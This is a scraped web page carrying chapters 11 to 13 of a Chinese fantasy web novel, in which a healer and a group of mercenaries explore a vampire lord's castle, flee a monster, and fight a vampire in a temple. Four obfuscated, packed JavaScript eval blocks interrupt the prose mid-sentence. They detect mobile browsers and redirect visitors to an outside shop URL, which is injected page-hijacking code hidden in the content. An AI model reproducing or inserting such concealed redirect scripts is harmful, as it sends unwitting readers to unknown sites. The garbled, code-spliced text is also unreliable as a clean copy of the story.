;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992445|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒口径各异的子弹。索恩翻出一盒，给刚拿到的“眼镜王蛇”上膛拨栓一气呵成对着地板开了一枪。沉闷的声音响起，石砖上弹痕清晰，周围衍生出细小的裂纹。 “可以用。多拿点，以防万一。” 大家纷纷上前挑选子弹。萝丝对枪械使用并不算熟练，打算再把自己的两把枪翻出来看看口径，却被索恩塞来的两盒子弹打断：“这个。我记得你拿了那把神殿骑士的左轮做战利品。这两把枪口径是一样的，都是点三二。能拿得动的话就多拿点。你能拿得动吧？”他用怀疑的目光看了她一眼。 “我当然能！谢谢。” 萝丝把子弹收进随身的小口袋中挨着草药放着。其他人也挑选好了自己的趁手武器，此时满脸神清气爽志得意满，被关押的不满烦躁一扫而光。 “我觉得有了这些武装，让我去打教皇都没问题！”艾伦笑嘻嘻道，“我们走吧！” 不得不说，城堡内部的复杂程度真是堪比迷宫。萝丝虽然有个名义上的伯爵养父，但他大部分时间都住在他位于王都的豪宅中，萝丝从来没有亲眼见过传说中她的城堡，更不要提进去过了。现在看来，如果没有约瑟夫的超级方向感，他们可能要在这座城堡里转个三天三夜也说不定。 “应该是这附近了。这里的灰尘明显变薄，生活痕迹也重了很多，小心点。”约瑟夫提醒道。雇佣兵们立刻会意，纷纷拔出武器，排成一队贴墙行走，薇薇安开路索恩断后，将萝丝保护在中间。萝丝看着身边的艾伦一下子正经起来，微微弓腰放轻脚步，连呼吸都轻缓了许多，不禁一阵羡慕。 专业素质，就是好啊。 他们近乎无声地向前移动着，每经过一间房间，前头的薇薇安就会小心地打开房门，端起枪用枪口扫过房间，确定没有异样后再打手势让其他人进屋探查，而索恩和艾伦则轮流在门口守望。就这样，他们慢慢地探索完了这一层的绝大部分房间，来到最深处的一间书房前。 这里的门没有锁，薇薇安依旧率先进去，检查之后却没有第一时间做手势，而是看着一个方向，目光中一丝震撼闪过。片刻之后，她打了个手势，萝丝跟着约瑟夫进去，第一时间也是一愣。 这件房间与众不同。因为它的窗帘大开着，落地大玻璃窗在浓重的夜色中近乎无形。这是黎明前最黑暗的时刻，而在压抑的黑暗中，一轮明亮得与整片天空的满月高高在上地闪耀。奇怪的是，这明亮的月光丝毫没有照亮其下的阿德玛城，整个阿德玛城依旧笼罩在浓稠得令人喘不过气的夜色中。 诡异，却又震撼。 萝丝看见的第一眼也下意识地屛住了呼吸。不知为何，这月色让她莫名有一种熟悉的心悸之感。似乎，似乎她在梦境中见过这样的景象，而梦境中—— “嘶——！” 空虚的剧痛从灵魂深处传来，萝丝下意识地抱住头。薇薇安注意到她的异样，立马走上前来：“还好吗，萝丝？” “没事。”萝丝吸了口气，声音有些发颤，“没关系。有什么发现吗？” 薇薇安点头，眼神扫过房间中央的书桌。那里堆得有些杂乱，羊皮纸卷和墨水瓶随意摆放着，而微微拉开一些的扶手椅前面摊开着一本厚厚的旧书，手边的位置放着一枝沾着墨水的羽毛笔。仿佛这间书房的主人只是偶然离席，随时都有可能回到这里，将这些不速之客一网打尽！ 11. 第 11 章 勉强压下心中不合时宜的危机感，萝丝走到桌边，俯身翻看起这本书。 原来，这不是一本书，而是一本厚重的个人笔记，上面密密麻麻地写满和画满了魔法阵、咒语和文字说明。摊开的那一页上绘制着一个相当精细的法阵。从阵核来看，这似乎是一个沟通高位存在的魔法阵。但是法阵上又没有明确指向高位存在的祷文。萝丝有些疑惑：这该不会是邪神崇拜吧？ 神殿想要毁灭一个搞邪神崇拜的领主的城市，这个猜测也挺合理的。 法阵旁边还用笔记潦草的精灵语注释着：“瞧瞧我在自己的城市里发现了什么？五芒星，日月纹势，阵核寓意光芒……被改良过，不，不是改良，是扭曲……难道……神殿这帮杂碎真是。不过也好，我也可以用这个得到……” 她往后翻过一页，却发现一切都戛然而止。笔记被撕去了一页，语句断在中间。萝丝又往后翻了翻，发现这个撕走笔记的人甚至连着撕去了好几页，留下的书页上没有一丝划痕，连还原前一页写了什么都做不到。 “怎么样？”薇薇安在一旁问道。 萝丝摇摇头，收起笔记：“这本笔记被撕掉了一部分。留下来的部分大致意思是，这本笔记的主人在城里发现了一个神殿布设的魔法阵，然后打算以此和神殿讨价还价。不过，这个魔法阵有什么作用、和这次神殿的行动有没有关系还有待商榷，我需要带回去再研究一下。再找找看其他线索吧。” “好。” 几人分散开，薇薇安去门口守望，识字较多的索恩和萝丝一起翻找文件，艾伦和约瑟夫则在房间里检查各色物品。 领主的文件和信件不多，大多是商务往来方面的记录。很奇怪，萝丝发现，这个领主几乎没有社交生活，深居简出到了一种几乎病态的地步。 在来之前，她也做过一定的功课，对这座城市的领主大略有一些了解。 现任领主名叫西蒙德二世，家族姓氏是阿莫，祖上是有过军功的小贵族。他的父亲也叫西蒙德，是西蒙德一世。 据说西蒙德一世很爱自己的妻子，在迎娶了体弱多病的妻子之后就心甘情愿地减少了自己的社交往来，带着她隐居在阿德玛城。不过，他的妻子在西蒙德二世出生时不幸难产，于是，这座偌大的城堡里就只剩下了父子二人隐居。西蒙德一世在心灰意冷之下遣散了大部分仆人，和孩子两人深居简出，相依为命，简直像两个隐居的修士。 这些是萝丝在《世家年鉴》上查到的。而神奇的是，除此以外她几乎找不到更多对西蒙德们的描述。其他的无论是野史也好流言也罢，都是《世家年鉴》上的内容的翻版。痴情守候的故事当然好，但在反复看了几遍之后，萝丝忍不住产生了怀疑。 一个贵族是怎么在和外界几乎没有往来的情况下做到控制舆论，让外界几乎没有其他传闻的？ 作为贵族，就算再怎么遣散仆人，又是怎么做到整座城堡几乎没有其他人的生活痕迹的？ 如果西蒙德一世只想做个隐士的话，他又为什么要主动出让城市自治权从而保证自己的统治权力不被剥夺？ 这些都说不通。但若是结合当下情形来看，这个西蒙德是吸血鬼的话，一切疑问似乎都迎刃而解了…… “大姐头，萝丝，你们看这里！” 艾伦压低的嗓音也掩饰不住他的兴奋。只见他和约瑟夫合力抓住书柜中的两尊铜像向两边大力旋转，伴随着“隆隆”的声音，书柜竟然朝两边分开，形成了一个巨大的开口！开口后，露出一条两人宽的幽深裂口，不知通往何方。 约瑟夫拍掉手上的灰，笑道：“厉害吧？我和艾伦发现这书房的位置和面积不对，摸了半天，没想到真给我们找到了。” 萝丝倒也不奇怪，古老的城堡中大多都有不为人知的通道用于关押、逃跑、贮藏等等目的。她走到密道口，指尖凝聚出一个圣光球，一抖手腕，圣光球向前飞去，照亮了密道内部。萝丝只能看见一道长长的阶梯盘旋向下，不知通往何方。 艾伦相当期待地问道：“下去看看吗？这可是货真价实的密道诶！” 萝丝看向薇薇安，后者想了想：“下去看看吧。这个密道很长，我们都下去，彼此之间距离不要拉太远，防止被各个击破。索恩，你开路？” 索恩点点头，率先向密道里走去。萝丝从约瑟夫手中接过油灯，马上跟上，接着是约瑟夫、艾伦，薇薇安则负责殿后。 密道很长，盘旋向下。狭窄的空间里不方便挥刀，雇佣兵们纷纷收起长剑，取出手枪。一级级石阶在脚下不断延伸，似乎无穷无尽。而空气则凝重潮湿，仿佛从不曾流动过。 不知走了多远，萝丝终于看见前方密道豁然开朗，变成了一间密室。密室中，一张桌子孤零零地摆在那里。桌子上用一块镇纸压着一片什么东西，上面似乎有字。 索恩向队伍后面的队友汇报了情况，薇薇安点头道：“去看看。” 索恩抬起枪口，快速进入房间后举枪指向天花板上，确认没有危险后才做了个手势。萝丝马上向桌上看去，可映入眼帘的却不是笔记中被撕下的残页，而是—— 别、回、头。 队尾的薇薇安刚进入密室，就看见萝丝面露惊恐。还来不及问发生了什么，她自己脸上也露出了震惊的神色：身后的密道中传来沉闷的脚步声！ 是陷阱！只要这头密道有人进去，另一边就会放出怪物的陷阱！ 薇薇安眉头一皱，立马命令道：“所有人，退回房间！” “等等，”萝丝皱眉，“房间本身也有可能是陷阱！从楼梯上去，反而可能更安全。” “但是楼梯上有怪物！” “反正总要和怪物对上的！布置这个陷阱的人就是笃定了我们会来到这里，会进入这个房间。坐以待毙也会被怪物找上来，还不如放手一搏！” “薇薇安，萝丝说得对。”索恩右手握剑，左手持枪，“走楼梯，我们冲出去。” 其他人点头。谈话间怪物的脚步声越来越近，索恩眸光一黯，带头冲了上去。 向上冲过几级台阶，视野突然一暗。一个巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992446|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑影堵在狭窄的楼梯间。一个怪物！ 这个怪物高大而丑陋，将两人宽三米高的通道堵得严严实实。它似乎具有人形，但又比例极度失调，硕大的脑袋上连着宽阔的躯干，而四肢却又细又长如枯骨一般。畸形的脸上，两只眼睛乌黑一片没有眼白，大张的嘴中四颗尖利泛黄的犬齿突出嘴唇，不时有酸腐的涎水从嘴角流下，散发出令人反胃的气味。 这是什么东西！ 荧光照亮怪物的脸的刹那，过于强烈的视觉冲击让所有人的脚步一顿。怪物发出一声怒吼，举起手爪扑来。 砰！ 砰砰砰！ 索恩率先开枪击中怪物胸口，其他人的子弹也随之射出。怪物向后踉跄了几步，发出嘶哑的吼声，然而，下一秒，子弹造成的伤口便以肉眼可见的速度开始愈合。“叮铛”几声，子弹头被愈合的组织弹出来，滚落在地。 这是什么东西！！！ 众人心中的震惊更甚，甚至流露出些许恐惧之情。不给他们更多反应的时间，怪物挥爪扑来。索恩举剑格挡，强大的力道震得他手臂发麻，后退几步，差点摔下楼梯。约瑟夫赶忙撑住他。然而，怪物的利爪再次袭来，千钧一发之际，一个光球凭空飞来在怪物面前炸开。 所有人眼前一白，只听见萝丝大吼：“我来击退它，你们快跑！” 只见萝丝举剑冲到了队伍最前边，剑锋之上的圣光如有实体般划开怪物的皮肤。众人欣喜地看到，圣光留下的伤痕明显减弱了怪物的自愈速度！ 萝丝手中迅捷剑翻飞拉出剑光一片，身后雇佣兵的子弹接连打在怪物身上，两相配合把怪物逼得节节倒退。步步紧逼之下，密道口的光线已经隐隐可见。 似乎是不甘心到手的猎物就这么成功反击还要逃跑，怪物仰头大吼一声，一只巨掌不躲不闪迎向萝丝刺来的剑锋，另一只手爪拍向萝丝的颅骨。剑尖轻易地贯穿了手掌，一时竟收不回来。萝丝死命抓住剑柄一手凝出光盾格挡，硬生生抗下怪物一击，被震得全身的骨头都开始发痛。怪物趁机抬起另一只手，将萝丝连人带剑甩了出去。 “萝丝！” 几人惊呼声中萝丝摔下好几级台阶，被薇薇安接住。这不过片刻的功夫，怪物又是接连几下袭来。索恩堪堪挡下，但双臂却已经酸麻到几乎握不住剑。 萝丝站稳身子，眼中满是讶异。这个怪物竟然并非纯然靠本能行事的野兽，而是具有类人一般的智慧！ 这样不行，必须速战速决！ “薇薇安，你们帮我抗几秒钟！” “好，”薇薇安解下背后步枪端枪瞄准，“你只管放开手做你的！” 萝丝双手在胸前合握，低头做祈祷状，口中呢喃吐出晦涩的精灵语。霎时间一个巨大的魔法阵在她背后成型，法阵中央，一只绘满了神圣符文的竖瞳骤然睁开，爆发出巨大的圣光光束重重打在怪物胸口！ “吼——” 重击之下，怪物向后飞了出去。通道不再被堵死，几人瞬间看见了希望的曙光。 “跑！” 12. 第 12 章 看着艾尔的背影，萝丝胸口有些发闷。她闭了闭眼，勉强压下晕眩之感，走进教堂，却冷不防对上老妇人的视线。 那是一双冰蓝色的眼眸，视线悲悯中带着些许漠然。 萝丝吃了一惊。此时这个老妇人完全没了几天前邋遢愚笨的样子。她仔细地清洁过了自己，整个人干净体面，白色的法袍披在身上相当服帖。尤其是，那一双浅淡的蓝眸闪烁着博学深刻的色彩。 她看了萝丝几眼，突然上前几步拉住她，力道大得令人吃惊：“孩子，你处于危险中。跟我来。” 萝丝本能地想要挣扎，但老妇人的手轻轻在她脸前一挥，她便感到疲惫感涌入四肢百骸，沉沉困意压着她的眼皮。她咕哝了两句，滑入梦乡中，任由老妇人把她带走了。 我最近昏迷的次数好像有点多…… 萝丝慢慢醒来时，耳边始终萦绕着温和轻缓的歌声。那歌声似乎没有歌词，却能让人听出其中的空灵忧伤。她静静听了一会儿，任由歌声慢慢抚平她心中的悲伤、愤怒和疲惫。 她依旧头脑昏沉，几乎在歌声中睡过去。但就在意识朦胧之际，她突然意识一动，翻身坐起！ 这是古精灵语！ 萝丝绷紧肩背，喉间挤出低吼：“你是谁？” “别紧张，年轻人。”老妇人头也不回，用一口标准的通用语答道，“你对你现在的状况有自知之明吗？” “你是谁？你想做什么？”她似乎想起了什么，一时间更加紧张，“那个死在收容所的人是你杀的吗？” 老妇人叹了口气，转回身：“放轻松，年轻人。我要是想对你动手，你根本活不到现在。” 她伸手抓住自己脸颊用力一扯，伪装随即脱落，露出她虽上了年纪却柔和美丽的面孔，露出她的一头顺滑银发和相对圆润的一双尖耳朵。“如你所见，我是一名半精灵。而最后一个问题的答案是：不是。” “给我证据！” “你解剖过那具尸体对吧？那个人的手是不是细腻柔嫩，浑身皮肤干净洁白？” 萝丝半信半疑点点头。 “是了。他是一名牧师，逃跑时被我发现了。你可以理解为我动用了一些办法来拷问他，但我真的没有杀他。” “是的，他是饿死的。” 尽管如此，萝丝还是紧紧盯着她，眼眸中飞速思考的光芒几乎可以化成实质。片刻后，她低下头，将右手平展贴在心口：“我相信你……莱雅前辈。”[注1] 半精灵挑了挑眉：“你叫我什么？” “我很确定是您，莱雅前辈。”萝丝的目光相当笃定，“我们在城堡里找到了这个。” 她取出象牙柄眼镜王蛇左轮，递了过去。半精灵接过枪，目光一点点沉了下去。 “不错，是我。”她轻轻抚摸着枪身上的花纹，“我几乎还记得她们。阿尔辛斯圣女狩猎图，一套六支。” “嗯，而且每一支枪的象牙柄上都刻了一个精灵语字母，连起来应该是——” “——‘莱雅赠送’，我记得。然后呢？就凭这个，你就能笃定我是莱雅？” 萝丝摇摇头：“不敢笃定。硬要说的话，我只是在猜测。整片大陆上的半精灵都少之又少，恰好这座城市的领主和一位有很深的渊源，又有另一位恰好在他的领地上隐居，如果是巧合的话，可能性也太小了。” “如无必要，勿增实体。这确实是合理的假设。”莱雅点头，“好了，现在我们可以谈谈你的事了吗？” 萝丝攥住被子，微微眯眼：“你想谈什么？我想我应该是了解自己的。” 莱雅叹了口气，摇摇头：“那你想必是也知道自己的灵魂在被不断榨取日渐衰弱甚至终有一日会摧毁你的肉身了？” “什么？” 莱雅看向震惊的萝丝，眼神带上了几分怜悯：“你显然不知道，年轻人。你在不断地使用超出自身能力极限的魔力时并不知道这一点。过度向身体压榨魔力会导致灵魂的衰竭，灵魂衰竭则会影响到身体。我相信你已经感受到了，那种痛楚和疲惫。” 萝丝攥着被子的手慢慢松下来，许久，她叹了口气：“我并不害怕这一切带来的伤害，我更恐惧的是，即使我榨干自己的灵魂也得不到足以保全所有人的力量。” “看来，你也有自己的追求和不愿意讲述的过往。”莱雅转过身，最后调试了一下草药钵，“没关系，我也有，所以我不强求你多说。现在，我要做的是拯救你的小命——如果你想的话。” “谢谢您的体谅。不过，在仪式结束之后，我希望我们能进行一次坦诚的信息交换。相信我，这对于我们所有人的安危都至关重要。” “好吧，很公平。” “你可以进去了。我没对她做什么，别拿这种眼神看着我。” 索恩靠在房门边，看着莱雅从里面出来：“我明白。这木门并不隔音，我听见了。‘万物之造主啊，您所允诺的仁慈，我请求与她共享’，这是疗愈的咒语，对吗？” 莱雅上上下下打量了他好几眼，才点头道：“《造物祈福歌》。不过，我记得我用的是精灵语。” “雇佣兵会一两句精灵语也并不奇怪。” 莱雅翻了个白眼：“这年头，雇佣兵都得多才多艺了。她需要静养。你可以进去，但不能刺激到她。” “我明白。” 莱雅转身离开，听见索恩在她身后低声道：“我向您致以索尔斯蒂斯能给予的最高的谢意。” 她回过身，看见索恩将右手放在心口处向她行了个标准的礼。没说什么，她点点头向着薇薇安的房间走去。 索恩推门走进房间时，萝丝正躺在床上，偏头看着窗外逐渐阴沉沉的天空。构成囚笼的荆棘触手上依旧闪烁着圣光，在阴沉的天空衬托下显得更加刺眼。 “抱歉，我应该起来的，但她让我躺着。”萝丝收回目光，向索恩道。 索恩不在意的“唔”了一声，用脚勾过来一把凳子坐在她床边，环视了一眼房间：“这些是什么？” 萝丝顺着他的目光，看向那些未收起的药草、油膏和绘制出的法阵：“是巫术，巫术仪式。” “巫术？” “嗯。一般的魔法分为三类：神圣术、神秘术、巫术。我使用的就是神圣术，一般是神殿官方使用的魔法；神秘术则大多是由非官方魔法师使用，但实际上，这两者几乎同源。” “而巫术，则是一种更加古老神秘的术法。起源于精灵族，多由精灵族、龙族等使用。这是一种最接近自然和原始的魔法，大多通过草药、精油、药膏等发挥效力，有时甚至有预言未来的力量。不同于神秘术士认为神秘术是可以解构、研究的，巫术总是强调未知和自然的力量，更注重感受而不是研究。” 萝丝一口气说完这些，索恩又“唔”了一声，随即陷入沉默。过了一会儿，他才说道：“薇薇安让我来看看你。” “嗯……帮我谢谢她。” “嗯。” 房间里再度陷入沉默。 索恩看似漫不经心地把玩着随身匕首，许久才突然冒出一句：“艾伦的事，你不必自责。”像是怕误会，他马上又补充道，“这是薇薇安说的。” “……我知道。” “但你还是很难过。” 熟悉的陈述句。 萝丝揉搓着被面，轻声道：“如果我杀了那只怪物，艾伦就不会死。”她的手越攥越紧，指节都开始发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992447|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白：“这是第一次，第一次我因为实力不够而看着队友死在我眼前。” 她察觉到自己的声音在颤抖，于是停了下来，久久无言。索恩耐心地看着她，等她平静下来，才说道：“可这对于艾伦而言已经是很好的结局。” “不——” “——不，听我说完。”索恩打断了她，“我说过，雇佣兵是拿钱卖命的行当，我们有时候必须做一些身不由己的事情。我们也为此做好了觉悟。所以，如果一名雇佣兵能不死于蝇营狗苟，能不死于斗殴通缉，能不死于分账不均反目成仇，就已经是很好的结局了。而能为了拯救其他人而死，已经是一种荣幸，艾尔说了，他为他的兄弟感到骄傲。” 萝丝眼眶泛红：“他真的这么想吗？” “当然，”索恩不自觉地声音放柔了些，“我和艾尔已经聊过了。我们都这么想。” “你们会觉得牺牲是一种荣幸，这没错。”萝丝轻叹道，“但即便如此，我也认为没有人死去才是最好的结局。我想保护你们，保护这座城市的所有人不受这无妄之灾。” 索恩勾了勾唇，金色的眼眸却出奇的深邃：“好吧，理想主义小姑娘。你怎么想与我无关，但是，不要让这些事影响你。你还要继续和怪物和毁灭日对抗，还有一座城市等待着你去拯救，”他站起身，向门边走去，“记住，你已经做得很好了，没人因此而责备你。” “嗯，谢谢你……这也是薇薇安让你说的吗？” 索恩开门的手顿了顿，半晌才闷声道：“是的。休息吧。我去看看薇薇安。” 夜深了，艾尔仍坐在窗边的桌前。 桌上摆着一瓶酒，还有两把眼镜王蛇手枪。枪柄上象牙镶片雕刻的故事碎片连缀成段。上一片雕像中圣女还在与巨龙搏斗，下一片她已经带着她的队伍凯旋而归。 太讽刺了。 这两把枪是索恩交给他的。一把是艾伦自己的，一把带给他。 他居然会想着还要给自己带一份，艾尔几乎有点惊讶。毕竟出发之前艾伦才和他吵了一架，因为一些微不足道的小事。 是什么来着？ ……好像是因为在出发前艾伦偷偷喝了几口威士忌，而他不放心。不知怎的，他们就吵了起来。 这种事也不是一次两次了，可偏偏是这一次——艾伦离开前还打定主意再也不和哥哥说话，而现在，他已经一句话都说不出来，静静地躺在床上，面容安详得宛如安眠。 艾尔把脸埋进手掌里。 他和艾伦是双生兄弟。两人从小一起长大，一起玩耍，一起离家出走，一起当了雇佣兵。可突然之间，他人生的另一半就消失了，留下了巨大的空白等待着填补。而艾尔知道自己永远也填不起这缺失的空洞。他真的不知道该怎么办，该怎么面对一个没有弟弟的明天。 “艾伦……” 笃、笃、笃。 窗户上传来叩击声，艾尔抬起头，在一片泪眼朦胧中看见艾伦蹲在窗外，月光洒在他向他伸出的手上。他笑得那么单纯而活泼，仿佛一切痛苦他都不曾经历过。 “艾尔，给我开门好不好？艾尔，我回来了呀，给我开门好吗？” 艾尔慌忙抹去眼泪，难以置信地再次抬头看向窗外。 是的，没错，这是艾伦的脸，是他一如既往的开朗的笑颜。 “开门呀，哥哥。是我啊，我回来了。你不想我吗？” “想，我当然想你！我马上，马上让你进来……” 他站起身，一不留神撞翻了椅子，又弄洒了酒瓶。他毫不在意，看也没看一眼便伸手去拉窗户上的插销，自然，他也没有注意到，艾伦的躯体正静静躺在一旁的床上，脸上带着空洞的笑容…… 13. 第 13 章 “艾尔？艾尔？”凯里站在门外，抬手又敲了敲门。 依旧无人应答，但房间里又有衣料摩擦的声音。他知道艾尔在里面，可能，只是他不愿出来面对大家。 凯里摇摇头，端起门外已经冷掉的晚餐，半天才挤出一句：“艾尔，注意身体，你还是要保重自己的健康。大家都很担心你。” 门内还是没有回应。 凯里端着餐盘转身想走，却听见房间里突然传出挣扎厮打的声音，随后，艾尔嘶哑的声音传来：“快、快走……跑！凯里！跑！” “艾尔！” 凯里吓了一跳，手里的餐盘滑落在地。他也顾不上许多，冲上去拍打房门：“艾尔？怎么了？” 重物撞在门板上的声音传来，凯里伸手推门，却发现门纹丝不动。他当即明白过来，门被从里面锁上了。他一边狠命踹门，一边冲着走廊大喊：“索恩！大姐头！出事了！” 萝丝正听话地躺在床上，两眼瞪着天花板。 即使是具有安眠效果的草药和油膏也没能让她入眠，她的大脑依旧在执着地工作，将和莱雅的对话条分缕析地归纳起来。如果她不这么做，她就会忍不住去反复回想艾伦的死，回想起他死前那张年轻的面容上浮现出的一瞬间的恐惧和永恒的笑意…… 不行，还是整理一下目前已知的信息吧。 她和莱雅做了一个简洁的信息交换。她把神殿的计划和她对于吸血鬼的猜想告诉了莱雅，莱雅则讲述了萝丝他们离开之后城里发生的事件。 在他们被抓走的当晚，城中还风平浪静。可是，第二天，许多人便悄无声息地死去了。如果不是他们的邻居发现周遭的房屋突然空寂下来，只怕他们还无法察觉这一切。 市民们不敢安葬死者，怕被传染什么可怕的瘟疫。恰在此时，市政厅和城防处的大半人员也失踪了，整个市政系统几乎瘫痪。市民们没了主心骨，只好暂时先封锁死者的房屋，打算在讨论出对策后再行动。 而第二天夜里，城西的贫民窟一角起火了，大火将几乎半个贫民窟都化为灰烬。无数人葬身于烈火和浓烟之中。人们赶去救火，却发现回来的人数远远少于了去帮忙的人数。 这引起了大规模的恐慌和愤怒。有人提出这一切都是因为贫民窟里容纳了太多的罪恶，所以神决定惩罚他们。看，这场大火就是最好的证明。 那天晚上差点发生一起大规模焚巫案。好在莱雅及时出手以神殿的名义安抚下了民众的情绪，才没有大规模惨案发生。 于是，当萝丝他们归来时，才看见了那一幕虔诚祈祷的景象。 情况很糟糕，萝丝皱着眉头想。 首先，市政厅和城防处消失的人去了哪里自然不消多说，贫民窟的大火可能也并非意外，而是某些人——生物为了销毁证据而故意为之。而倘若吸血鬼真的已经成功入侵了贫民窟，以那里的房屋条件和人口密度，恐怕几天之后就会出现一个可怕的数字。 到那时…… 萝丝越想越焦急，偏偏又被勒令躺在床上无法行动。虽然莱雅说她已经通知了居民们晚上要尽可能封闭门窗，还将圣水分发给了人们，但萝丝担心事情不会如此简单。 说起来，她并不清楚“邀请”的准确定义，也不知道那些吸血鬼究竟是用什么办法让受害者心甘情愿地打开门窗邀请他们。 也许是某种幻术？ 沉浸在思绪之中，萝丝后知后觉地发现天已经黑了。 沉沉的夜色像一块巨石压在人心口。萝丝不由得紧张起来。虽然莱雅说吸血鬼应该不会靠近有圣水和十字架庇佑的神殿，而且她也做出了一定准备，但萝丝依旧放心不下，浑身肌肉都紧绷着。 就在这时，她听见了凯里的叫声！ 索恩冲出房间，和同样冲出来的薇薇安对视一眼立刻拿出武器指向艾尔的房门，慢慢靠近。一旁的房门打开，萝丝探出头来，手里也拿着枪：“怎么了吗？” 凯里转过头正要回答她，身前的木门突然一动，下一秒，尖锐的利爪穿门而过！ 木屑飞扬，凯里吓得不由自主地倒退两步，利爪又猛地拔出，生生将木门撕裂出一个大口。从裂口处，凯里看见一个嘴角咧到耳根、口中生满细密尖牙、没有眼白的怪物正无声狂笑着看着他。它手中像提着一只破口袋一样提着艾尔，而艾尔已经脸色苍白，头无力地垂在一边。 吸血鬼！ 更为可怕的是，这只吸血鬼赫然长着萝丝见过的那位医生的脸！ 比怪物更可怕的是长得像人一样的怪物。巨大的视觉冲击让凯里愣了一瞬，那吸血鬼趁机丢开艾尔，一脚踹在木门上。 轰—— 合页被硬生生踹断，沉重的木门砸在凯里身上。巨大的力道让他凌空向后飞出去。索恩和薇薇安立刻举起了枪对准房门口。 看见医生吸血鬼的那一刻，三人的瞳孔都是一缩，下意识扣动了扳机！ 子弹击中它的胸口和躯干，吸血鬼狂笑的表情顿了顿，立刻又像是毫发无伤一般向几人扑来！ “该死，子弹对它们没用！” 索恩和薇薇安向两侧翻滚躲开攻击，又立马起身射击。萝丝从一旁溜过去，把地上的凯里扶起来：“快跑！找一个封闭空间！” 另外两人点点头，立马分头跑开。怪物犹豫了一下，选择向着索恩追上去。萝丝把凯里拉到一间房内，语速飞快：“凯里，你去找到神殿里的其他人和他们一起躲起来，好吗？我去支援索恩，他一个人对付不了那怪物。” 凯里迟疑了一下才点点头：“小心。” “嗯。”萝丝说着，人已经跑了出去。 莱雅的推测是错误的，吸血鬼并不会因为畏惧而避开神殿！ 萝丝一路狂奔，顺着教堂的长廊拐来拐去，终于在前方看见了索恩的身影。 怪物的动作快得让人眼花撩乱，索恩勉强抵挡着，身上却还是被利爪挠出几道血口。 “你来干什——唔！” 索恩肩头被利爪擦到，身上又多了一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992448|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血口。萝丝抬手对着吸血鬼的躯干就是一枪，让它的动作阻滞了一瞬。 吸血鬼以一种扭曲的姿势转过头，对着萝丝咧开嘴，身上的伤口以肉眼可见的速度飞快愈合。下一刻，它猛地向萝丝扑过来！ 子弹对吸血鬼没有用，萝丝眉头紧锁。“索恩，请帮我拖延一会儿，我找机会斩杀它！” “啧。”索恩甩出三把飞刀把吸血鬼的脚掌钉在地上，趁机往枪里填满子弹，“保重自己”的话在舌尖滚了几滚还是没有说出口。 萝丝找到一根石柱作为掩体，一边寻找着合适的时机一边时不时向着怪物开一枪分担索恩的压力。她十分庆幸，自己当初至少没有因为自己顶尖的魔法实力就松懈了对普通武器的学习，毕竟，没想到自己真的有魔力捉襟见肘的一天。 她同时从体内缓慢调集着魔力。 经过草药的调养和短暂的休息，她可以感到自己的魔力已经逐渐开始恢复，不再是之前那种近乎枯竭见底的状态。 但还是不够。 现在体内流转的魔力甚至不足以让她展开一个最低级的魔力屏障。萝丝计算了一下，她只有一次机会。 必须一击毙命。 萝丝又抬头观察了一遍这里的地形。 他们现在所处的位置应该是教堂后方的花园和菜圃，周围有几根看起来年份古老的石柱，和一个石质凉亭。 萝丝一眼锁定了那个凉亭，从藏身之处出来飞快地向凉亭跑去。 来到凉亭下，萝丝从口袋中掏出钩锁套住凉亭尖顶，借着绳子一点点爬了上去。 索恩看了她一眼，立刻明白了她想做什么，一边和吸血鬼缠斗一边慢慢地将怪物引向凉亭方向。 眼见吸血鬼逐渐靠近，萝丝拔出迅捷剑，调整呼吸，目光死死锁定它的身形。 只有一次机会。 索恩不断地引导着吸血鬼调整角度，使它能完全暴露在萝丝的视野下方。但这也一定程度上限制了他的行动。冷不防，他被一爪拍在胸口，整个人撞在凉亭的石柱上，眼前一黑。吸血鬼狞笑着上前掐着他的脖子把他提起来，一把撕开他的衣服，张口咬向他的脖颈！ 就是现在！ 萝丝从凉亭顶上一跃而下，手中细剑上绽放出耀眼的白光，瞬间贯穿吸血鬼的胸口！ 